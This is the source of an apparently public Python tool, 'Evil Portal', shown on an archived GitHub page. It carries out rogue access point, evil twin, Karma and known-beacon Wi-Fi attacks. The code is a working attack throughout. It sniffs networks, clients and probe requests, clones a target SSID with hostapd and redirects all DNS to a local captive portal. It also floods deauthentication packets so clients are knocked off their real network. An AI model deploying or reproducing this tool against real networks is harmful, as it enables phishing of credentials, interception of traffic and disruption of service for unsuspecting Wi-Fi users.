This repository was archived by the owner on Sep 23, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 14
Expand file tree
/
Copy pathrun.py
More file actions
836 lines (650 loc) · 32.4 KB
/
Copy pathrun.py
File metadata and controls
836 lines (650 loc) · 32.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
import os, re, time, signal, threading
from scapy.all import *
phpVersion = 7.4
tempFolder = '/tmp/evilportal'
def title():
ret = '\n'
ret += '███████╗██╗ ██╗██╗██╗ ██████╗ ██████╗ ██████╗ ████████╗ █████╗ ██╗ \n'
ret += '██╔════╝██║ ██║██║██║ ██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║ \n'
ret += '█████╗ ██║ ██║██║██║ ██████╔╝██║ ██║██████╔╝ ██║ ███████║██║ \n'
ret += '██╔══╝ ╚██╗ ██╔╝██║██║ ██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══██║██║ \n'
ret += '███████╗ ╚████╔╝ ██║███████╗██║ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗\n'
ret += '╚══════╝ ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝\n'
ret += ' By: hacefresko \n'
return ret
class networkInterfaces:
# Here we find directories representing current network interfaces named after them
netIntDir = '/sys/class/net'
hostapdLogFile = 'hostapd.log'
dnsmasqLogFile = 'dnsmasq.log'
knownOpenWifis = 'known-open-wlans.txt'
probedFile = 'probedSSIDs.txt'
def __init__(self):
self.interfaces = []
for dirpath, interfaces, filenames in os.walk(self.netIntDir):
for interface in interfaces:
if re.match(r'wl\w+', interface):
# Directory /sys/class/net/<interface>/type contains
# the mode in which the interface is operating:
# 1 -> managed
# 803 -> monitor
#
f = open(self.netIntDir + '/' + interface + '/type', 'r')
if f.read() == '803\n':
self.interfaces.append({'name' : interface, 'mode' : 'monitor', 'channel' : 0})
else:
self.interfaces.append({'name' : interface, 'mode' : 'managed', 'channel' : 0})
f.close()
def __repr__(self):
ret = '\nNETWORK INTERFACES\n\n'
i = 1
for interface in self.interfaces:
if interface['mode'] == 'monitor':
ret += '[{}] -> {} ({})\n'.format(i, interface['name'], interface['mode'])
else:
ret += '[{}] -> {}\n'.format(i, interface['name'])
i = i + 1
return ret
def getMode(self, nInterface):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
interface = self.interfaces[nInterface]['name']
f = open(self.netIntDir + '/' + interface + '/type', 'r')
if f.read() == '803\n':
ret = 'monitor'
else:
ret = 'managed'
return ret
def putInMonitor(self, nInterface):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
interface = self.interfaces[nInterface]
if interface['mode'] == 'monitor':
print('[x] Selected interface is already in monitor mode!\n')
return -1
print('[-] Configuring network interface...')
os.system('ifconfig ' + interface['name'] + ' down')
os.system('iw ' + interface['name'] + ' set type monitor')
os.system('ifconfig ' + interface['name'] + ' up')
# Set channel to 1 for later scanning
os.system('iw ' + interface['name'] + ' set channel 1')
self.interfaces[nInterface]['channel'] = 1
self.interfaces[nInterface]['monitor'] = 'monitor'
# Check if interface is indeed in monitor mode
if self.getMode(nInterface) != 'monitor':
print('[x] Newtork interface couldn\'t be put in monitor mode!\n')
return -1
print('[+] Network interface configured succesfuly')
return 0
def changeChannel(self, nInterface):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
t = threading.currentThread()
# We assign stop=False as an attribute of the current thread. This is used to stop the loop from other thread
while not getattr(t, 'stop', False):
channel = self.interfaces[nInterface]['channel']
channel = channel + 1
if channel > 13:
channel = 1
self.interfaces[nInterface]['channel'] = channel
os.system('iw ' + self.interfaces[nInterface]['name'] + ' set channel ' + str(channel))
time.sleep(0.5)
os.system('iw ' + self.interfaces[nInterface]['name'] + ' set channel 1')
self.interfaces[nInterface]['channel'] = 1
def sniffAccessPoints(self, nInterface, sigint_handler):
accessPoints = []
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
# stop is defined as global for the sigint handler to be able to get it
global stop
stop = False
def sigint_handler_probe(sig, frame):
global stop
stop = True
signal.signal(signal.SIGINT, sigint_handler)
signal.signal(signal.SIGINT, sigint_handler_probe)
changeChThread = threading.Thread(target = self.changeChannel, args = (nInterface,))
changeChThread.start()
print('WIFI ACCESS POINTS (Ctrl C to stop)')
print('+---+-------------------+----------+----+----------------------------------+')
print('| i | BSSID | ENCRYPTN | CH | SSID |')
print('+---+-------------------+----------+----+----------------------------------+')
def sniffAP_callback(pkt):
# Protocol 802.11, type management, subtype beacon
if pkt.haslayer(Dot11) and pkt[Dot11].type == 0 and pkt[Dot11].subtype == 8:
# Address 2 is source address (in this case dest is broadcast FF:FF:FF:FF:FF:FF)
# upper() prints all letters to capital letters
bssid = pkt[Dot11].addr2.upper()
ssid = pkt.info.decode('UTF-8')
channel = pkt[Dot11Beacon].network_stats().get('channel')
encryption = pkt[Dot11Beacon].network_stats().get('crypto').pop()
newAccessPoint = {'bssid' : bssid, 'ssid' : ssid, 'channel' : str(channel), 'encryption' : encryption}
if ssid and newAccessPoint not in accessPoints:
accessPoints.append(newAccessPoint)
print('|%3s| %17s | %8s | %2s | %-32.32s |' % (str(len(accessPoints)), bssid, encryption, channel, ssid))
sniffer = AsyncSniffer(iface=self.interfaces[nInterface]['name'], prn=sniffAP_callback)
sniffer.start()
while not stop:
pass
changeChThread.stop = True
sniffer.stop()
print('--+-------------------+----------+----+----------------------------------+')
accessPoint = -1
while accessPoint < 0 or accessPoint >= len(accessPoints):
accessPoint = int(input('Select access point to mirror > ')) - 1
if accessPoint < 0 or accessPoint >= len(accessPoints):
print('[x] Input out of bounds!')
else:
return accessPoints[accessPoint]
print('\n')
def sniffClientsInAccessPoints(self, nInterface, sigint_handler):
accessPointsWOClients = {}
accessPoints = []
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
# stop is defined as global for the sigint handler to be able to get it
global stop
stop = False
def sigint_handler_probe(sig, frame):
global stop
stop = True
signal.signal(signal.SIGINT, sigint_handler)
signal.signal(signal.SIGINT, sigint_handler_probe)
changeChThread = threading.Thread(target = self.changeChannel, args = (nInterface,))
changeChThread.start()
print('WIFI ACCESS POINTS AND CLIENTS (Ctrl C to stop)')
print('+---+-------------------+----------+----+--------------------------+-------------------+')
print('| i | BSSID | ENCRYPTN | CH | SSID | CLIENT |')
print('+---+-------------------+----------+----+--------------------------+-------------------+')
def sniffAP_callback(pkt):
# Protocol 802.11, type management, subtype beacon
if pkt.haslayer(Dot11) and pkt[Dot11].type == 0 and pkt[Dot11].subtype == 8:
# Address 2 is source address (in this case dest is broadcast FF:FF:FF:FF:FF:FF)
# upper() prints all letters to capital letters
bssid = pkt[Dot11].addr2.upper()
ssid = pkt.info.decode('UTF-8')
channel = pkt[Dot11Beacon].network_stats().get('channel')
encryption = pkt[Dot11Beacon].network_stats().get('crypto').pop()
newAccessPoint = {'ssid' : ssid, 'channel' : str(channel), 'encryption' : encryption}
if ssid and bssid not in accessPointsWOClients:
accessPointsWOClients[bssid] = newAccessPoint
# Protocol 802.11, type data
elif pkt.haslayer(Dot11) and pkt[Dot11].type == 2:
bssid = pkt[Dot11].addr2.upper()
client = pkt[Dot11].addr1.upper()
if bssid in accessPointsWOClients:
newAccessPoint = {'bssid' : bssid , 'ssid' : accessPointsWOClients[bssid]['ssid'], 'channel' : accessPointsWOClients[bssid]['channel'], 'encryption' : accessPointsWOClients[bssid]['encryption'], 'client' : client}
accessPoints.append(newAccessPoint)
print('|%3s| %17s | %8s | %2s | %-24.24s | %17s |' % (str(len(accessPoints)), accessPoints[len(accessPoints) - 1]['bssid'], accessPoints[len(accessPoints) - 1]['encryption'], accessPoints[len(accessPoints) - 1]['channel'], accessPoints[len(accessPoints) - 1]['ssid'], client))
sniffer = AsyncSniffer(iface=self.interfaces[nInterface]['name'], prn=sniffAP_callback)
sniffer.start()
while not stop:
pass
changeChThread.stop = True
sniffer.stop()
print('--+-------------------+----------+----+--------------------------+-------------------+')
accessPoint = -1
while accessPoint < 0 or accessPoint >= len(accessPoints):
accessPoint = int(input('Select access point to mirror > ')) - 1
if accessPoint < 0 or accessPoint >= len(accessPoints):
print('[x] Input out of bounds!')
else:
return accessPoints[accessPoint]
print('\n')
def sniffProbeReq(self, nInterface, sigint_handler):
probeRequests = []
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
# stop is defined as global for the sigint handler to be able to get it
global stop
stop = False
def sigint_handler_probe(sig, frame):
global stop
stop = True
signal.signal(signal.SIGINT, sigint_handler)
signal.signal(signal.SIGINT, sigint_handler_probe)
changeChThread = threading.Thread(target = self.changeChannel, args = (nInterface,))
changeChThread.start()
print('PROBE REQUESTS (Ctrl C to stop)')
print('\n CLIENT SSID')
print(' ----------------- ----------')
def sniffAP_callback(pkt):
# Protocol 802.11, type management, subtype probe request
if pkt.haslayer(Dot11) and pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
client = pkt[Dot11].addr2.upper()
ssid = pkt.info.decode('UTF-8')
newProbeRequest = {'client' : client, 'ssid' : ssid}
if ssid and newProbeRequest not in probeRequests:
probeRequests.append(newProbeRequest)
print('[%2s] %17s -> %-32.32s' % (str(len(probeRequests)), client, ssid))
sniffer = AsyncSniffer(iface=self.interfaces[nInterface]['name'], prn=sniffAP_callback)
sniffer.start()
while not stop:
pass
changeChThread.stop = True
sniffer.stop()
probeRequest = -1
while probeRequest < 0 or probeRequest >= len(probeRequests):
probeRequest = int(input('\nSelect probe request to mirror > ')) - 1
if probeRequest < 0 or probeRequest >= len(probeRequests):
print('[x] Input out of bounds!')
else:
return probeRequests[probeRequest]
def sniffKnownOpenWifis(self, nInterface, sigint_handler):
numBeacons = 200
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
global stop
stop = False
def sigint_handler_probe(sig, frame):
print('\n[+] SIGINT: killing sender...')
global stop
stop = True
signal.signal(signal.SIGINT, sigint_handler)
signal.signal(signal.SIGINT, sigint_handler_probe)
interface = self.interfaces[nInterface]['name']
bssid = '16:91:82:18:79:B2' # Fake bssid (random)
beaconSSID = previousSSID = ''
probedFD = open(self.probedFile, 'a')
probed = []
# Sniff probe requests
def sniffAP_callback(pkt):
# Protocol 802.11, type management, subtype probe request
if pkt.haslayer(Dot11) and pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4 and not stop:
ssid = pkt.info.decode('UTF-8')
if ssid and (ssid == beaconSSID or ssid == previousSSID):
client = pkt[Dot11].addr2.upper()
print('[+] Client ' + client + ' responded to ' + ssid)
if ssid not in probed:
probedFD.write(ssid + ' (' + client + ')\n')
probed.append(ssid)
sniffer = AsyncSniffer(iface=self.interfaces[nInterface]['name'], prn=sniffAP_callback)
sniffer.start()
# Send beacon frames
f = open(os.path.join(self.knownOpenWifis))
while f and not stop:
beaconSSID = f.readline().split('\n')[0]
print('[-] Sending ' + str(numBeacons) + ' beacon frames with ssid ' + beaconSSID)
# Type management, subtype beacon
beaconFrame = RadioTap()/Dot11(type=0, subtype=8, addr1='FF:FF:FF:FF:FF:FF', addr2=bssid, addr3=bssid)/Dot11Beacon(cap='ESS')/Dot11Elt(ID='SSID', info=beaconSSID, len=len(beaconSSID))
# Beacon interval = 100TU (1TU = 1024us)
sendp(beaconFrame, iface=interface, count = numBeacons, inter=0.1024,verbose = 0)
previousSSID = beaconSSID
f.close()
probedFD.close()
sniffer.stop()
print('\nPROBED SSIDs')
i=1
for ssid in probed:
print('[' + str(i) + '] -> ' + ssid)
i = i + 1
ssid = -1
while ssid < 0 or ssid >= len(probed):
ssid = int(input('\nSelect probed SSID > ')) - 1
if ssid < 0 or ssid >= len(probed):
print('[x] Input out of bounds!')
else:
print()
return probed[ssid]
def launchHostapd(self, nInterface, ssid, channel, encryption):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
interface = self.interfaces[nInterface]['name']
# Hostapd configuration
print('[-] Configuring hostapd...')
hostapdConfigFile = 'hostapd.conf'
hostapdConfig = ''
hostapdConfig += 'interface=' + interface + '\n' # Interface used
hostapdConfig += 'driver=nl80211\n' # Driver interface typr
hostapdConfig += 'ssid=' + ssid + '\n' # SSID
hostapdConfig += 'hw_mode=g\n' # Hardware mode (802.11g)
hostapdConfig += 'channel=' + channel + '\n' # Channel
hostapdConfig += 'macaddr_acl=0\n' # Station MAC address -based auth (0 = accept unless in deny list)
hostapdConfig += 'ignore_broadcast_ssid=0\n' # Require stations to know SSID to connect (ignore probe requests without full SSID)
if encryption == 'OPN':
hostapdConfig += 'auth_algs=1\n' # Authenticatin algorithm (bit 0 = Open System Auth)
elif encryption == 'WPA/PSK':
password = input('\nWifi password [more than 8 chars]> ')
print()
hostapdConfig += 'wpa=1\n' # Enable WPA
hostapdConfig += 'wpa_passphrase=' + password + '\n'# WPA pre-shared key (WiFi password)
hostapdConfig += 'wpa_key_mgmt=WPA-PSK\n' # Accepted key management algorithms
hostapdConfig += 'wpa_pairwise=TKIP CCMP\n' # Pairwsie cipher for WPA (Temporal Key Integrity Protocl)
hostapdConfig += 'auth_algs=3\n' # Authenticatin algorithm (bit 2 = Shared Key Auth)
elif encryption == 'WPA2/PSK':
password = input('\nWifi password [more than 8 chars]> ')
print()
hostapdConfig += 'wpa=2\n' # Enable WPA2
hostapdConfig += 'wpa_passphrase=' + password + '\n'# WPA pre-shared key (WiFi password)
hostapdConfig += 'wpa_key_mgmt=WPA-PSK\n' # Accepted key management algorithms
hostapdConfig += 'wpa_pairwise=TKIP\n' # Pairwsie cipher for WPA (Temporal Key Integrity Protocl)
hostapdConfig += 'rsn_pairwise=CCMP\n' # Pairwise cipher for RSN/WPA2 (AES-CBC)
hostapdConfig += 'auth_algs=3\n' # Authenticatin algorithm (bit 2 = Shared Key Auth)
f = open(os.path.join(tempFolder, hostapdConfigFile), 'w')
f.write(hostapdConfig)
f.close()
# Hostapd initialization
os.system('hostapd ' + os.path.join(tempFolder, hostapdConfigFile) + ' > ' + os.path.join(tempFolder, self.hostapdLogFile) + ' &')
print('[+] hostapd succesfuly configured')
return 0
def launchDnsmasq(self, nInterface):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
interface = self.interfaces[nInterface]['name']
# Stop dnsmasq daemon in case it's active
os.system('service dnsmasq stop')
# Flush iptables to avoid conflicts
print ('[-] Flushing iptables...')
os.system('iptables -F')
os.system('iptables -t nat -F')
print('[+] Iptables flushed')
# Config dnsmasq
dnsmasqHostsFile = 'hosts'
dnsmasqConfigFile = 'dnsmasq.conf'
dnsmasqConfig = ''
print('[-] Configuring dnsmasq...')
dnsmasqConfig += 'interface=' + interface + '\n' # Interface in which dnsmasq listen
dnsmasqConfig += 'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h\n' # Range of IPs to set to clients for the DHCP server
dnsmasqConfig += 'dhcp-option=3,10.0.0.1\n' # Set router to 10.0.0.1
dnsmasqConfig += 'dhcp-option=6,10.0.0.1\n' # Set dns server to 10.0.0.1
dnsmasqConfig += 'log-queries\n' # Log all queries
dnsmasqConfig += 'address=/#/10.0.0.1\n' # Response to every DNS query with 10.0.0.1 (where our captive portal is)
dnsmasqConfig += 'address=/www.google.com/216.58.209.68\n' # Samsung devices check if www.google.com is available apart from checking if connectivitycheck.gstatic.com/generate_204 responds with a redirection
f = open(os.path.join(tempFolder, dnsmasqConfigFile), 'w')
f.write(dnsmasqConfig)
f.close
# Configures dnsmasq to assign the interface ip to the domain name so
# mod_rewrite from .htaccess can reffer directly to the domain name in the URL
f = open(os.path.join(tempFolder, dnsmasqHostsFile), 'w')
f.write('10.0.0.1 wifiportal2.aire.es')
f.close()
# Set inet address of interface to 10.0.0.1
os.system('ifconfig ' + interface + ' 10.0.0.1')
# Initialize dnsmasq
os.system('dnsmasq -C ' + os.path.join(tempFolder, dnsmasqConfigFile) + ' -H ' + os.path.join(tempFolder, dnsmasqHostsFile) + ' --log-facility=' + os.path.join(tempFolder, self.dnsmasqLogFile))
if not os.path.isfile(os.path.join(tempFolder, self.dnsmasqLogFile)):
print('[x] dnsmasq couldn\'t be configured!')
return -1
print('[+] dnsmasq succesfuly configured')
return 0
def deauth(self, nInterface, channel, bssid):
if type(nInterface) is not int:
print('[x] Input value is not an integer!\n')
return -1
if nInterface < 0 or nInterface >= len(self.interfaces):
print('[x] Input value out of bounds!\n')
return -1
if self.getMode(nInterface) != 'monitor':
print('[x] Selected interface is not in monitor mode! (' + self.interfaces[nInterface]['name'] + ')\n')
return -1
# Change channel
os.system('iw ' + self.interfaces[nInterface]['name'] + ' set channel ' + channel)
# Craft packet
broadcast = 'FF:FF:FF:FF:FF:FF'
pkt = RadioTap()/Dot11(addr1 = broadcast, addr2 = bssid, addr3 = bssid)/Dot11Deauth(reason=1) # Deauth due to unespecified reason
def sendPkt():
t = threading.currentThread()
while not getattr(t, 'stop', False):
sendp(pkt, iface=self.interfaces[nInterface]['name'], verbose=0)
print('[+] Deauth stopped\n')
global deauThread
deauThread = threading.Thread(target = sendPkt)
deauThread.start()
print('[+] Sending deauth packets from ' + bssid + ' to ' + broadcast + ' via channel ' + channel)
def configWebApp():
# Config captive portal files
print('[-] Copying web files...')
os.system('rm -r /var/www/html/* 2>/dev/null')
os.system('cp -r captive /var/www/html/captive')
os.system('cp .htaccess /var/www/html')
os.system('chmod 755 /var/www/html/.htaccess')
os.system('chmod 755 /var/www/html/captive')
os.system('chmod 755 /var/www/html/captive/*')
print('[+] Web files copied succesfuly')
# Enable rewrite and override for .htaccess and php
print('[-] Configuring apache2...\n')
os.system('cp -f override.conf /etc/apache2/conf-available/')
os.system('a2enconf override')
os.system('a2enmod rewrite')
os.system('a2enmod php' + str(phpVersion))
# Reload/restart apache2 and start mysql (mariaDB)
os.system('service apache2 reload')
os.system('service apache2 restart')
print('\n[+] apache2 configured succesfuly')
print('[-] Configuring mysql...')
os.system('service mysql start')
print('[+] mysql configured succesfuly')
# We define the file descriptors for hostapd log file and dnsmasq log
# file as global in order for the sigint handler to be able to get them
hostapdFD = 0
dnsmasqFD = 0
deauThread = 0
def sigint_handler(sig, frame):
print('\n\n[x] SIGINT: Exiting...')
os.system('pkill hostapd')
os.system('pkill dnsmasq')
os.system('rm -r ' + tempFolder + ' 2>/dev/null')
global hostapdFD
global dnsmasqFD
if hostapdFD != 0:
hostapdFD.close()
if dnsmasqFD != 0:
dnsmasqFD.close()
global deauThread
if deauThread != 0:
deauThread.stop = True
quit()
signal.signal(signal.SIGINT, sigint_handler)
print(title())
# Check for root priviledges
if os.getuid() != 0:
print('[x] Please, run program as root!\n')
quit()
networkInterfaces = networkInterfaces()
# Select network interface
if len(networkInterfaces.interfaces) == 0:
print('[x] No network interface detected!\n')
quit()
elif len(networkInterfaces.interfaces) == 1:
interface = 0
if networkInterfaces.interfaces[interface]['mode'] != 'monitor':
if networkInterfaces.putInMonitor(interface) != 0:
print('[x] Network interface couldn\'t be put in monitor mode')
quit()
elif len(networkInterfaces.interfaces) > 1:
ok = -1
while ok != 0:
print(networkInterfaces)
interface = int(input('Select network interface > ')) - 1
print()
if interface < 0 or interface >= len(networkInterfaces.interfaces):
print('[x] Input value out of bounds!')
else:
if networkInterfaces.interfaces[interface]['mode'] != 'monitor':
ok = networkInterfaces.putInMonitor(interface)
else:
ok = 0
print('[+] Network Interface in use: ' + networkInterfaces.interfaces[interface]['name'])
# Create temp folder
try:
os.makedirs(tempFolder)
except OSError:
print('[-] Temporal directory ' + tempFolder + ' already exists')
# Select operating mode
op = -1
while op < 1 or op > 4:
print('\nOPERATING MODE')
print('[1] -> Rogue AP')
print('[2] -> Evil Twin')
print('[3] -> Karma')
print('[4] -> Known Beacons')
op = int(input(' > '))
print()
if op == 1:
ssid = input('WiFi SSID > ')
channel = input('Channel > ')
encr = -1
print('\nSecurity:')
while encr < 1 or encr > 2:
print('[1] -> Open')
print('[2] -> WPA2')
encr = int(input(' > '))
if encr < 1 or encr > 2:
print('[x] Input value out of bounds!\n')
elif encr == 1:
encryption = 'OPN'
elif encr == 2:
encryption = 'WPA2/PSK'
print()
# Launch hostapd
networkInterfaces.launchHostapd(interface, ssid, channel, encryption)
# Launch dnsmasq
if networkInterfaces.launchDnsmasq(interface) != 0:
quit()
# Config web app
configWebApp()
elif op == 2:
# Select network interface 2
if len(networkInterfaces.interfaces) == 1:
print('[x] Not enough network interface detected (2)!\n')
quit()
elif len(networkInterfaces.interfaces) == 2:
if interface == 0:
interface2 = 1
else:
interface2 = 0
if networkInterfaces.interfaces[interface2]['mode'] != 'monitor':
if networkInterfaces.putInMonitor(interface2) != 0:
print('[x] Second network interface couldn\'t be put in monitor mode')
quit()
elif len(networkInterfaces.interfaces) > 2:
ok = -1
while ok != 0:
print(networkInterfaces)
interface2 = int(input('Select network interface > ')) - 1
print()
if interface2 < 0 or interface2 >= len(networkInterfaces.interfaces):
print('[x] Input value out of bounds!')
elif interface2 == interface:
print('[x] ' + networkInterfaces.interfaces[interface]['name'] + ' already in use!')
else:
if networkInterfaces.interfaces[interface2]['mode'] != 'monitor':
ok = networkInterfaces.putInMonitor(interface2)
else:
ok = 0
print('[+] Second network Interface: ' + networkInterfaces.interfaces[interface2]['name'] + '\n')
clients = ''
while clients != 'Y' and clients != 'N':
clients = input('Show only APs with clients connected? [Y/N] > ').upper()
if clients == 'Y':
print()
accessPoint = networkInterfaces.sniffClientsInAccessPoints(interface, sigint_handler)
elif clients == 'N':
print()
accessPoint = networkInterfaces.sniffAccessPoints(interface, sigint_handler)
else:
print('[x] Select a valid option!')
bssid = accessPoint['bssid']
ssid = accessPoint['ssid']
channel = accessPoint['channel']
encryption = accessPoint['encryption']
# Launch hostapd
networkInterfaces.launchHostapd(interface, ssid, channel, encryption)
# Launch dnsmasq
if networkInterfaces.launchDnsmasq(interface) != 0:
quit()
# Config web app
configWebApp()
# Deauth AP
networkInterfaces.deauth(interface2, channel, bssid)
elif op == 3:
probeRequest = networkInterfaces.sniffProbeReq(interface, sigint_handler)
ssid = probeRequest['ssid']
channel = input('Channel > ')
encr = -1
print('\nSecurity:')
while encr < 1 or encr > 2:
print('[1] -> Open')
print('[2] -> WPA2')
encr = int(input(' > '))
if encr < 1 or encr > 2:
print('[x] Input value out of bounds!\n')
elif encr == 1:
encryption = 'OPN'
elif encr == 2:
encryption = 'WPA2/PSK'
print()
# Launch hostapd
networkInterfaces.launchHostapd(interface, ssid, channel, encryption)
# Launch dnsmasq
if networkInterfaces.launchDnsmasq(interface) != 0:
quit()
# Config web app
configWebApp()
elif op == 4:
ssid = networkInterfaces.sniffKnownOpenWifis(interface, sigint_handler)
channel = input('Channel > ')
encryption = 'OPN'
# Launch hostapd
networkInterfaces.launchHostapd(interface, ssid, channel, encryption)
# Launch dnsmasq
if networkInterfaces.launchDnsmasq(interface) != 0:
quit()
# Config web app
configWebApp()
else:
print('[x] Input value out of bounds!\n')
# Print hostapd + dnsmasq
hostapdFD = open(os.path.join(tempFolder, networkInterfaces.hostapdLogFile), 'r')
dnsmasqFD = open(os.path.join(tempFolder, networkInterfaces.dnsmasqLogFile), 'r')
prev = ''
while True:
hostapdLog = hostapdFD.read()
if hostapdLog:
if prev != 'hostapd':
print('\n[HOSTAPD]')
print(hostapdLog, end = '')
prev = 'hostapd'
dnsmasqLog = dnsmasqFD.read()
if dnsmasqLog:
if prev != 'dnsmasq':
print('\n[DNSMASQ]')
print(dnsmasqLog, end = '')
prev = 'dnsmasq'
time.sleep(1)